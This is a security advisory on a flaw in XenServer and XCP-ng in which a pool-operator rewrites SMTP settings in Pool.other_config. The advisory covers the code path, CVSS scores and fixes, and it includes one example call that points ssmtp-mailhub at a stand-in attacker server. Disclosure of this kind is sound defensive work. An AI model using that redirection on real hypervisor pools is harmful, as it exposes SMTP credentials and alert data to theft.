MOKSHA-2026-0042: SMTP Server Redirection / Credential Exfiltration via Pool.other_config

Advisory IDMOKSHA-2026-0042
Semantic IDPLOC-4
Published2026-04-24
CVSS 3.16.5 Medium
CVSS 3.1 VectorAV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:N
CVSS 4.05.1 Medium
CVSS 4.0 VectorAV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
XAPI ObjectPool
XAPI Fieldother_config:ssmtp-mailhub
Entry Rolepool-operator
ResearcherJakob Wolffhechel, Moksha

Affected Products

VendorProductVersions
Citrix / Cloud Software GroupXenServer / Citrix Hypervisorall versions (shared XAPI codebase)
VatesXCP-ng8.3.0

Summary

A pool-operator in XAPI-based hypervisors (XenServer, XCP-ng) can redirect all pool alert emails through an attacker-controlled SMTP server by writing ssmtp-mailhub and related ssmtp-* keys to Pool.other_config. The mail-alarm script at lines 82-88 reads all keys with the ssmtp- prefix, strips the prefix, and uses them as macro replacements in the ssmtp configuration template. This enables SMTP server redirection, credential exfiltration (if SMTP authentication is configured), and recipient manipulation via mail-destination. The mail-language key is used as a filename component with no path traversal protection.

Vulnerability Description

Pool.other_config is a Map(String, String) field writable by pool-operator. The mail-alarm Python script reads multiple keys from this field to configure the SMTP alert system:

The code path:

  1. pool-operator writes Pool.add_to_other_config(pool, "ssmtp-mailhub", "attacker.smtp.server:25")
  2. The mail-alarm script is invoked on pool alert events
  3. mail-alarm:61-63 reads all keys via get_pool_other_config()
  4. mail-alarm:82-88 iterates over keys starting with ssmtp-:
    • For each key, constructs search_text = "@" + key[6:].upper() + "@" and replacement_text = other_config[key]
    • Replaces macros in the ssmtp configuration template
  5. The ssmtp configuration file is written with attacker-controlled SMTP server
  6. Alert emails are sent through the attacker SMTP server

Additional keys consumed by the alert system:

Root Causes

  1. Missing RBAC protection. Pool.other_config has no map_keys_roles entries for ssmtp-*, mail-destination, mail-sender, or mail-language. All inherit the class default _R_POOL_OP.

  2. Unsanitized macro substitution. The mail-alarm script at lines 82-88 performs string replacement using attacker-controlled values with no sanitization. Any ssmtp configuration directive can be overridden.

  3. Missing write-time validation. No validation on the ssmtp-mailhub value (hostname:port format), mail-destination (email address format), or mail-language (path traversal).

  4. Path traversal in language file loading. The mail-language value is used as a filename component in os.path.join() without sanitization, allowing potential path traversal.

Affected Systems

Directly Affected

Indirectly Affected

Exploitation Scenarios

Scenario Impact Pre-conditions Status
SMTP server redirection All pool alert emails route through attacker SMTP server pool-operator, email alerting configured Source-traced
Alert data exfiltration Attacker receives host status, storage alerts, HA events pool-operator, email alerting active Source-traced
SMTP credential theft Attacker's SMTP server receives authentication credentials pool-operator, ssmtp auth configured Source-traced
mail-language path traversal Potential arbitrary file read via language template loading pool-operator Source-traced
BOC-1 chain vm-admin uses BOC-1 S3 to self-grant pool-operator, then redirects SMTP vm-admin, BOC-1 Source-traced

Chaining Analysis

Detection

Remediation

Short-Term Mitigations

Long-Term Fix

Protect SMTP keys via map_keys_roles. Add ssmtp-* and mail-* keys to Pool.other_config map_keys_roles at _R_POOL_ADMIN in datamodel_pool.ml.

Sanitize macro replacements. Validate ssmtp-mailhub as a hostname:port pair. Validate mail-destination as an email address. Sanitize mail-language against path traversal.

Use dedicated SMTP configuration. Move SMTP configuration out of Pool.other_config into a dedicated, access-controlled configuration mechanism.

Upstream patches exist. They are held privately pending coordinated disclosure.

Disclosure

Disclosure:

References

Credits

Discovered and reported by Jakob Wolffhechel, Moksha.

Jakob Wolffhechel · Moksha · Copenhagen
jakob@wolffhechel.dk · +45 3170 7337
Published 2026-04-24 08:00 CEST · cna.moksha.dk · shittrix.moksha.dk